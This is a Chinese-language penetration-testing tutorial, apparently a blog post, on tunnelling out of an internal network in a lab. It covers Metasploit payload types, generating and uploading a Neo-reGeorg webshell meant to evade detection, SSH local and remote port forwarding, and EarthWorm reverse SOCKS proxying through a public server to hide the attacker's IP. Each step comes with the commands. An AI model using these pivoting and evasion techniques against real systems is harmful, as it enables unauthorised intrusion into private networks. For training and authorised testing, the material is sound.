网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议。

内网渗透-隧道通信

推荐博客:内网渗透之隧道传输技术

什么是隧道协议?

隧道协议(英语:Tunneling Protocol)是一种网络协议,在其中,使用一种网络协议(发送协议),将另一个不同的网络协议,封装在负载部分。使用隧道的原因是在不兼容的网络上传输数据,或在不安全网络上提供一个安全路径。

常见的隧道协议包括 SSH,TLS,SOCKS,PPTP 等。

什么是隧道传输?

网络隧道技术指的是利用一种网络协议来传输另一种网络协议,它主要利用网络隧道协议来实现这种功能。网络隧道技术涉及了三种网络协议,即网络隧道协议、隧道协议下面的承载协议和隧道协议所承载的被承载协议。

防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常见的隧道列举如下:

  • 网络层:IPv6 隧道、ICMP 隧道、GRE 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP 隧道、HTTPS 隧道、DNS 隧道

Metasploit 攻击载荷的分类

攻击载荷(payload)可分为 single、stager、stage 三种。

1、 singles(独立载荷)

直接植入目标系统并执行相应的程序,如:shell_bind_tcpmeterpreter_reverse_tcp

2、stagers(传输器载荷)

用于目标机与攻击机之间建立稳定的网络连接,与 stages(传输体载荷)配合攻击,该种载荷体积都非常小,如:bind 型和 reverse 型。

bind 型:需要攻击机主动连接目标端口。

reverse 型:目标机反向连接攻击机,需要提前设定好连接攻击机的 ip 地址和端口号。

3、stages(传输体)

在 stagers 建立好稳定的连接后,攻击机将 stages 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stages 。如得到目标机的 shell 或者 meterpreter 控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。

stager 和 stage 就像 web 入侵里面提到的小马和大马一样,由于 exploit 环境的限制,可能不能一下子把 stage 传过去,需要先传一个 stager ,stager 在 attacker 和 target 之间建立网络连接,之后再把 stage 传过去进行下一步的行动。

格式

single payload 的格式为:<target>/<single> ,比如:windows/shell_bind_tcp

stages/stagers payload 的格式为:<target>/<stage>/<stager> ,比如:windows/meterpreter/bind_tcp

使用 Neo-reGeorg 建立正向隧道

关于 Neo-reGeorg

Neo-reGeorg 是常见的 http 正向隧道工具,是 reGeorg 工具的升级版。增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、支持 py3 等等。

有时候我们会发现上传的木马很快就被杀掉了,导致无法获取 shell ,但是目标主机又开启了 web 服务,那么这时就可以建立 http 隧道。

下载地址:https://github.com/L-codes/Neo-reGeorg

Neo-reGeorg 使用方法

进入到 Neo-reGeorg-master 目录下,执行以下命令,生成 webshell ,连接密码为 ‘ shell ’ :

1
python3 neoreg.py generate -k shell

这会在当前目录下生成一个 neoreg_servers 文件夹,里面包含了各种类型的 webshell :

在生成的 webshell 中选择目标机对应语言的后门上传即可。

上传成功后,通过以下命令建立起隧道通信:

1
python3 neoreg.py -k shell -u http://192.168.43.13:8080/tunnel.php

执行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kali)-[~/Neo-reGeorg-master]
└─# python3 neoreg.py -k shell -u http://192.168.43.13:8080/tunnel.php

​ "$$$$$$'' 'M$ '$$$@m
​ :$$$$$$$$$$$$$$''$$$$'
'$' 'JZI'$$& $$$$'
​ '$$$ '$$$$
​ $$$$ J$$$$'
​ m$$$$ $$$$,
​ $$$$@ '$$$$_ Neo-reGeorg
​ '1t$$$$' '$$$$<
​ '$$$$$$$$$$' $$$$ version 5.2.0
​ '@$$$$' $$$$'
​ '$$$$ '$$$@
​ 'z$$$$$$ @$$$
​ r$$$ $$|
​ '$$v c$$
​ '$$v $$v$$$$$$$$$#
​ $$x$$$$$$$$$twelve$$$@$'
​ @$$$@L ' '<@$$$$$$$$`
​ $$ '$$$


[ Github ] https://github.com/L-codes/Neo-reGeorg

+------------------------------------------------------------------------+
Log Level set to [ERROR]
Starting SOCKS5 server [127.0.0.1:1080]
Tunnel at:
http://192.168.43.13:8080/tunnel.php
+------------------------------------------------------------------------+

默认建立的是 socks5://127.0.0.1:1080 ,所以依然可以通过 proxychains 来利用:

1
proxychains curl http://192.168.43.13:8080

基于 SSH 的隧道通信

什么是 ssh 隧道

SSH 隧道即 SSH 端口转发,在 SSH 客户端与 SSH 服务端之间建立一个隧道,将网络数据通过该隧道转发至指定端口,从而进行网络通信。SSH 隧道自动提供了相应的加密及解密服务,保证了数据传输的安全性。

Windows server 2019 开启 ssh 服务

首先需要开启靶机的 22 端口,使其能够进行 ssh 远程连接。

下方搜索栏搜索并打开 “ 应用和功能 ” :

选择 “ 管理可选功能 ” :

选择 “ 添加功能 ” :

选择 “ OpenSSH 服务器 ” 并安装。

安装后程序位于:C:\Windows\System32\OpenSSH 。

执行以下命令即可开启 sshd 服务:

1
net start sshd

ssh 本地端口转发

ssh 本地端口转发命令的「-L」旗标后可以填写四个参数,完整格式为:

1
ssh -L [收听接口:]收听端口:目标主机:目标端口 username@hostname

命令中方括号内的部分,即第一个参数可以不写;它的默认值一般是 0.0.0.0(OpenSSH 客户端配置文件「ssh_config」中「GatewayPorts」选项的值一般为「yes」),意味着 SSH 隧道会收听所有接口,接受来自任何地址的应用访问请求并进行转发。

执行此命令后,将能够在收听端口处访问目标主机的目标端口。

比如,以 192.168.43.13 为跳板机,将 192.168.52.143 内网主机的 80 端口转发到本机的 8879 端口:

1
ssh -CfNg -L 8879:192.168.52.143:80 Administrator@192.168.43.13
  1. -C:这个选项表示启用压缩。SSH 将会压缩数据包数据,这可以提高传输效率,特别是在带宽较低的情况下。压缩可以减少传输的数据量,从而加快数据传输速度,并可能降低网络延迟。
  2. -f:这个选项表示 SSH 客户端在创建隧道后进入后台运行。这意味着一旦隧道建立,SSH 客户端不会占用终端,允许用户继续在同一个终端上执行其他任务。这对于需要长时间运行的隧道特别有用。
  3. -N:这个选项表示如果 SSH 检测到隧道没有数据传输,它不会关闭隧道。通常,SSH 会关闭空闲的隧道以节省资源,但使用 -N 选项后,即使没有数据流动,隧道也会保持开启状态。
  4. -g:这个选项允许 SSH 绑定到非本地地址。默认情况下,SSH 只能绑定到本地地址,但使用 -g 选项后,可以指定一个非本地的端口进行监听。这对于需要从远程网络访问本地服务的情况非常有用。

那么此时访问本机的 8879 端口就可以访问到内网主机 192.168.52.143 的 80 端口了。

上述命令在 kali 上执行,因此称为本地转发。

kali 开启 sshd 服务

一、配置 SSH 参数

修改 sshd_config 文件,命令为:vi /etc/ssh/sshd_config

将 #PasswordAuthentication no 的注释去掉,并且将 NO 修改为 YES // kali 中默认是 yes ;

将 #PermitRootLogin without-password 修改为 PermitRootLogin yes ;

然后保存退出 vi 编辑器。

二、启动 SSH 服务

启动 SSH 服务,命令为: /etc/init.d/ssh start

或者: service ssh start

查看 SSH 服务状态是否正常运行,命令为: /etc/init.d/ssh status

或者: service ssh status

注明:这两种启动 ssh 方式都是临时性的,如果机器重启就需要重新输入上面命令才可以开启 ssh ,如果需要 ssh 服务下次开机自动启动,则需要使用以下命令启动 ssh 服务,命令为:

1
2
update-rc.d ssh enable // 系统自动启动SSH服务
update-rc.d ssh disabled // 关闭系统自动启动SSH服务

三、关闭 ssh 服务

1
service sshd stop

SSH 远程端口转发

在 Windows server 2019 上执行以下命令用 ssh 连接 kali ,这里的 192.168.52.143 仍然是内网主机,但最后是 kali 的用户名和 IP :

1
ssh -CfNg -R 3333:192.168.52.143:80 root@192.168.43.173

这样做的前提是 kali 要启动 sshd 服务。完成上述操作后,在 kali 上访问 127.0.0.1:3333 即可访问到 192.168.52.143:80 。

EarthWorm 工具的使用

EW(Earthworm)是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向” 、“反向” 、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。

下载地址:https://github.com/mrawb/ew/tree/master

EW 的使用方法

该工具共有 6 种命令格式( ssocksdrcsocksrssockslcx_slavelcx_listenlcx_tran ):

1
2
3
4
5
6
7
8
9
10
11
./ew -s ssocksd -l 1080       //开启正向socks服务

./ew -s rcsocks -l 1080 -e 8888 //监听1080端口,1080接收的数据通过8888交互传递

./ew -s rssocks -d rev_ip -e 8888 //开启反向socks服务。反向连接rev_ip的8888端口

./ew -s lcx_listen -l 1080 -e 8888 //监听1080端口,1080接收的数据通过8888交互传递

./ew -s lcx_tran -l 1080 -f forward_ip -g8888 //监听1080端口,1080接收的数据正向传给forward_ip的8888端口

./ew -s lcx_slave -d vps_ip -e 8888 -f B_ip-g 9999 //作为中间角色,反向连接vps的8888,正向连接B的9999。打通两者

注意,这里的 ./ew 是指 ew-master 目录下的任意一个可执行文件,根据对应的操作系统选择一个。

正向代理

在 Windows Server 2019 上运行:

1
ew_for_Win.exe -s ssocksd -l 1080

此时将 kali 的代理设置为 Windows Server 2019 的 IP + 端口 1080 即可访问内网中的其他机器。

反弹代理

原理就是让 Windows Server 2019 主动去连接一台公网服务器,然后攻击者把这台公网服务器当代理,就可以访问内网了。

当然也可以直接让 Windows Server 2019 主动去连接 kali 攻击机,但是使用上一种方法可以隐藏 kali IP。

在一台 Ubuntu 公网服务器上执行监听:

1
./ew_for_linux64 -s rcsocks -l 8080 -e 8888

那么此时这台公网服务器就会监听 8080 端口,并将 8080 端口接收的数据通过 8888 端口交互传递。简单点说,就是 kali 在设置代理的时候要设置 公网服务器 IP + 8080 端口 ,而 Windows Server 2019 则需要主动去连接这台公网服务器的 8888 端口。

如果没有执行权限的话需要赋予执行权限:

1
chmod +x ew_for_linux64

在 Windows Server 2019 上执行以下命令与公网服务器建立连接:

1
ew_for_Win.exe -s rssocks -d 公网服务器IP -e 8888

此时在 kali 上配置代理为 公网服务器 IP + 8080 端口 即可访问内网。

不过因为不明原因,本次实验失败,报错:代理服务器拒绝连接。